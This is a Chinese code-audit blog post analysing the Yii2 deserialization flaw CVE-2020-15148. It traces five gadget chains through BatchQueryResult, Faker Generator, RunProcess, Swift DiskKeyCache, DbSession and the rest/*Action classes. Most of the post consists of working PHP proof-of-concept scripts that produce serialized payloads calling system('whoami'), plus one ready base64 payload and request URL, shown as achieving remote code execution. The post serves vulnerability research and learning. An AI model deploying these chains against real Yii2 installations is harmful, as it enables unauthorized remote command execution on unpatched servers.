[代码审计]yii2 反序列化漏洞分析
Posted huamanggg
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[代码审计]yii2 反序列化漏洞分析相关的知识,希望对你有一定的参考价值。
前言
漏洞存在版本<2.0.38
CVE-2020-15148
框架搭建
直接去github下载,修改好cookie的key,然后就可以访问/web了
漏洞分析
先看github里作者的提交
可以发现在 framework/db/BatchQueryResult.php 里面添加了_wakeup方法
我们就直奔这里去看了
yii2.0.37/vendor/yiisoft/yii2/db/BatchQueryResult.php
看到这里的__distruct()入口方法
会进去reset方法,但是进去可能就close了,但是这个_dataReader是可以控制的,到时候我们构造poc的时候可以添加析构方法为他赋值!这里$this->_dataReader
就可以触发一个__call方法
全局搜一下__call方法,发现这个类里面有妙处
/vendor/fzaninotto/faker/src/Faker/Generator.php
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formtters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \\InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
可以发现,__call进去,就直接进format了,而format里面就会直接执行call_user_func_array,跟进一下他的参数
先跟进一下getFormatter,发现这里返回的是formatters,这个参数是我们可控的!
但是另一个$attributes
就不可控了,这里是可以执行一些无参数的函数,但是如果只是调用php原生的那肯定做不了什么事情,我们需要调用yii框架里面自带的无参数方法看看有没有能进一步利用的
继续全局搜索,看看有没有那个无参数方法里面调用了call_user_func
这里是用的正则去搜索,这个正则折腾了好久
function \\w*\\(\\)\\n? *\\{(.*\\n)+ *call_user_func
大概意思就是 function 开头,接着是一段字符接上()后换行,并只匹配0或1次,这里就表示无参数的函数了,但是我们可以更狠一点,直接搜索无参数方法中有call_user_func
的,那么就继续加上* \\{
匹配前面的表达式0次或多次后加上大括号,然后在call_user_func
前面多次匹配上一堆除了换行之外的字符后加上换行:(.*\\n)+ *
,最后加上call_user_func
这样就很精准的匹配到无参数方法中有call_user_func
函数的方法了
这里找到了一个,简直不要太好打
/vendor/yiisoft/yii2/rest/CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
此处省略
}
checkAccess和id都是我们可控的!那么这条链子就打通了,我们构造一下poc
POC1
<?php
namespace yii\\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\\rest\\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["close"] = [new CreateAction, 'run'];
}
}
}
namespace yii\\db{
use Faker\\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\\db\\BatchQueryResult));
}
?>
payload:
web?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6Indob2FtaSI7fWk6MTtzOjM6InJ1biI7fX19fQ==
成功rce
这条链子的总的攻击思路为
1. BatchQueryResult里面__destruct入口函数调用了reset()函数
2. reset()函数内:$this->_dataReader->close();其中_dataReader可控
3. 触发__call方法,找到可利用的call方法:Generator,但是只能执行无参数函数
4. 寻找框架内的可利用的无参数函数,Generator的run
这条链子最后一个寻找无参数可利用函数的时候,还有一个可以利用
POC2
vendor/yiisoft/yii2/rest/IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
poc
<?php
namespace yii\\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\\rest\\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["close"] = [new IndexAction, 'run'];
}
}
}
namespace yii\\db{
use Faker\\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\\db\\BatchQueryResult));
}
?>
POC3
作者在2.0.38只修复了BatchQueryResult,那么我们能不能再找一个__destruct入口函数去调用call方法,接上后面的链子呢?
全局搜索__destruct下,找到这个类也可以
/vendor/codeception/codeception/ext/RunProcess.php
public function __destruct()
{
$this->stopProcess();
}
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}
可以发现,这里调用了$process->isRunning()
,而且这里的process是可控的!那么我们接上上面的链子就可以继续打
<?php
namespace yii\\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\\rest\\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["isRunning"] = [new IndexAction, 'run'];
}
}
}
namespace Codeception\\Extension{
use Faker\\Generator;
class RunProcess{
private $processes;
public function __construct(){
$this->processes[] = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new Codeception\\Extension\\RunProcess));
}
?>
POC4
不得不说,师傅们太强了,这里还找到了一个链子
在这个文件里面
/vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
可以发现,这里进了clearAll后,里面会有一个字符串拼接的操作,而path是我们可控的,那么我们就可以执行__toString方法了,找一下能利用的__toString方法
这里找到了一个这个Cover.php
/vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Covers.php
很明显这里可以调用call方法,直接接上去就可以了
poc
<?php
namespace yii\\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\\rest\\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters["render"] = [new IndexAction, 'run'];
}
}
}
namespace phpDocumentor\\Reflection\\DocBlock\\Tags{
use Faker\\Generator;
class Cover{
public function __construct(){
$this->description=new Generator;
}
}
}
namespace{
use phpDocumentor\\Reflection\\DocBlock\\Tags\\Cover;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct(){
$this->keys=array('aaa'=>'bbb');
$this->path=new Cover();
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache));
}
?>
成功rce
这些也是可以的,很多很多
POC5
除了刚刚的__call方法,其实还有一个思路,就是直接去找能利用的close()方法
在这个文件里面找到能利用的点
/vendor/yiisoft/yii2/web/DbSession.php
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
YII_DEBUG ? session_write_close() : @session_write_close();
}
}
跟进composeFields方法
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
if ($id !== null) {
$fields['id'] = $id;
}
if ($data !== null) {
$fields['data'] = $data;
}
return $fields;
}
可以看到这里是有一个call_user_func函数的,而且writeCallback是可控的,那么就可以接上IndexAction的run
poc
<?php
namespace yii\\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\\web{
use yii\\rest\\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace yii\\db{
use yii\\web\\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace{
use yii\\db\\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
总结
poc1: BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> IndexAction.run()
poc2:BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()
poc3: RunProcess.__destruct() -> RunProcess.stopProcess() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()
poc4: Swift_KeyCache_DiskKeyCache.__destruct() -> Swift_KeyCache_DiskKeyCache.clearAll() -> Cover.__toString() -> Cover.render() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()
poc5: BatchQueryResult.__destruct() -> DbSession.close() -> DbSession.composeFields() -> IndexAction.run
大概就分析了这些链,感觉上来说还是不算很难,也是学到了一些代码审计的知识和技巧,那么多条链子,每次成功rce的时候还是很有成就感的
参考链接:
- https://ego00.blog.csdn.net/article/details/113824239
- https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA
以上是关于[代码审计]yii2 反序列化漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章